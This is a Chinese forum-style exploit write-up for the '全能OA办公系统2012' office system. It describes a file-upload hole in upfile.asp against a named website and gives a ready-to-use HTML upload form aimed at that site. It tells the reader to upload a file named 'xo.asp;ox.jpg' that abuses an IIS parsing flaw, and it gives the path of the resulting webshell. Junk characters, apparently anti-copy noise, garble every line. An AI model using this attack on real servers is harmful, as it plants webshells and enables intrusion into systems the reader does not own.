全能OA办公系统 上传漏洞
% C& p( L8 `( z7 G% p/ X) k! \/ n) I
系统介绍:. l/ s! _+ E: D r
0 ]6 `" F8 n5 \2 \. f$ G
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。& S- `+ s# B% Y2 I
: h6 E7 h2 |9 @' i7 G) x; H% X0 p
主要功能:! X, |! ^" W! y) p( k( { M
公司通告 4 c& e- H+ n4 d! L% ~: B
工作计划 " ~' V6 j! s# _, q* C+ ~
通讯助理
- R3 _" N q8 o1 |/ T2 {# Q- e4 E客户资源 ' X5 G! z( m4 l; X! E0 `
我的公文
- {5 v; H. i; S% t Y公文传阅
7 |# c2 F) A( X; B公共资源
& a$ G8 \) e) L9 n5 _资源预约
4 Q& ~: s o& c/ e" L; [今日考勤
6 u5 X1 _% m, s! C: A/ ~个人计划 . ~* \2 E4 Y8 {# n, _6 K& z
个人通讯录 ) x" U9 v, E$ E* x1 e& z/ ]
个人基本档案 9 }$ N8 K7 y, p0 G( b# x
未读邮件 6 L: l/ D& B* X# t% `' V
发邮件 3 D5 `, w# k) U! L [1 }1 m5 e
收件夹 ; @3 m% O1 T0 }; u
寄件夹
+ s5 i* F0 O9 \" A网络硬盘
" m. Y8 m0 [7 u网络会议
3 d1 [3 Q8 c# |* s, v3 ^0 |网络调查
0 T Z1 a6 \4 _! b% [9 ?4 Q8 z交流论坛5 P, y) z/ T& Z3 t% o! a- d) p, j
5 P7 u% ?" M# j+ F, z有兴趣测试的朋友可以下源码看看9 I, u; F% n5 d0 B2 w" l
% H- h, t! y$ p8 h( K
源码下载:
* d/ p( T& g' Q7 @2 Y* \; i6 c$ H: f* p' p; C3 G8 D+ T! x
http://www.mycodes.net/30/4750.htm- @; D: L( B$ V9 S4 y0 _2 T
% Y% O) W' W* u" b0 C2 J漏洞介绍:8 q( t& y' b& N2 L- z k- c6 Y
5 w5 e5 ?6 G2 V* v9 s
由upfile.asp上传文件漏洞引起& C$ V" r# m) w5 Z s0 H
- j- m) Z) z: f
测试方法:1 H" V; o0 ~% H+ j! [5 a+ U
U* _: D8 K1 \, y使用名小子上传http://www.itlynn.com/upfile.asp即可
$ V1 _9 L$ U. F/ N7 D$ W9 o; u; \9 G( n7 v' f* I& M
如果upfile.asp文件被删除不存在。
. P, g( {0 c- e9 J8 ~5 a
) n- i( U1 g5 c( I; d 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。6 c* M! h+ n7 ?9 I
; C% h+ Q5 S. i. v$ J如果存在那么将如下代码保存为upfile.html。
8 ~. u! V7 ~: X$ w. P6 r) ~7 C9 a& `5 w" s; f( r# J
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。 ^0 G7 T: B& O
5 g: f- n. l; _, g9 a& \4 L2 X
( L0 L) m2 l& @& ]' H, j( ^" Y' q4 X; v
01 <table border='0' align="center" cellpadding="5">
& |5 m. z7 C3 ` w9 Z1 l
- z7 x# C {' X7 Y4 @4 F02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
' n+ f+ W# s7 s
. _. Y3 |1 D4 @2 c03 <tr> ! d0 J% o, ?: }# U' h. E$ E" C {
0 X9 T' M% v) R9 C/ w3 s
04 <td>报错:</td> # w. w6 m* N6 i: q3 x- d; n# _# W
+ B* d/ H! F7 J& k1 D( N L/ I05 <td><input type='radio' name='errnumber' value='0'> 5 |0 }/ l, [2 j
3 t a) V/ o) U8 E' l( P3 E0 G% x
06 自动更名 : t2 [0 f8 }" N, P, [" h5 H
! j. w* L7 _) L( L# G3 I% c# z07 <input type='radio' name='errnumber' value='1' checked> 2 d: [- W7 r* o4 }
* K. m# m9 _7 r' X08 报错方式 ( O% A6 \ b! e# G, t
1 C6 d7 E q" e% X09 <input type='radio' name='errnumber' value='2'>
4 Q' e+ j j* Y- p! w
6 T9 Z h2 J/ T10 直接覆盖</td>
, _3 m7 }/ b7 H3 A, K7 g: a# A* `# p E; y& s! z$ e. \4 u+ l! X3 A
11 </tr> 8 I F9 B3 K; n5 D4 W2 Z
0 F+ u$ ^8 o; J. q
12 <tr>
! T: K* d8 {0 U6 b, V# p9 e2 C, z; A3 f. d, Y$ m5 L
13 <td>主题:</td>
8 X2 H" {0 d. w3 K& i
6 n' o/ ?9 h8 h0 n0 G7 |1 ~/ Z6 W14 <td><input type='text' name='filename' size='30'></td> 9 @& u' |% @. k+ n
8 w8 g; M, X4 ~% m J6 k
15 </tr> : T3 w/ N2 ]) y9 }/ j0 @
2 F% L4 R$ w: p, L16 <tr> & v5 e/ c, p+ g
6 D* f) X! P; I- i) ~17 <td>文件:</td>
6 D) \5 {2 K- l% x1 Z
6 p2 @; T& o. n" E& o18 <td><input type="file"name="fruit"size="30"></td> , m( m7 ^# z# u
% A. b# w9 B1 ^1 S9 [. O/ q
19 </tr> . T9 r. ]9 l6 m- `( \0 Z2 W
# H7 |2 p- g. K2 P
20 <tr> 4 f8 @5 t8 R) l
$ Z8 n" `1 `# F/ a" ?4 ?3 j21 <td valign='top'>简介:</td> & V: K5 Z1 G$ {8 [) C
1 h. I, H' v$ Z; `4 a1 O, ^* o1 ^22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td> , h9 O0 T- Q) p
" y3 l, E( b" w. |2 z% R
23 </tr>
# Y! Z6 N' P2 p3 O. x9 m5 ~
" X. p. E9 F5 A* a( H, T, i( S( {2 J24 $ |. V! ]2 ~0 Q5 K
" }" b/ ]/ i5 R7 k6 }, x5 k
25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td> 7 f3 q' x; P+ ^5 b& ^1 b
3 M( Z4 C8 H3 |' \; E2 u7 p
26 </tr>
3 a, z' b! { j9 B3 R# a
! e! v( E7 \# n7 ?- I" ]0 Z6 V27 </form> 1 C _) F- y! i5 ~, B
+ E/ x0 ~4 c5 A9 ?* a# v然后打开上传一个文件名为xo.asp;ox.jpg的文件。; }" c+ }! b7 x
2 o9 `0 Q; j& `$ I1 ^& z
9 y6 S8 W* X0 E7 m/ m. ^+ A
& Z6 m8 t. m C) d: p# J/ [
上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg0 [, y8 h( @- B4 f9 K* [% @! e
7 L& T) T1 p. b9 _# ^* V
此漏洞需要配合解析漏洞利用。
+ m& H( j, ]) f6 L
& Q$ ]- r( q# h% g3 y0 H, e- f. j |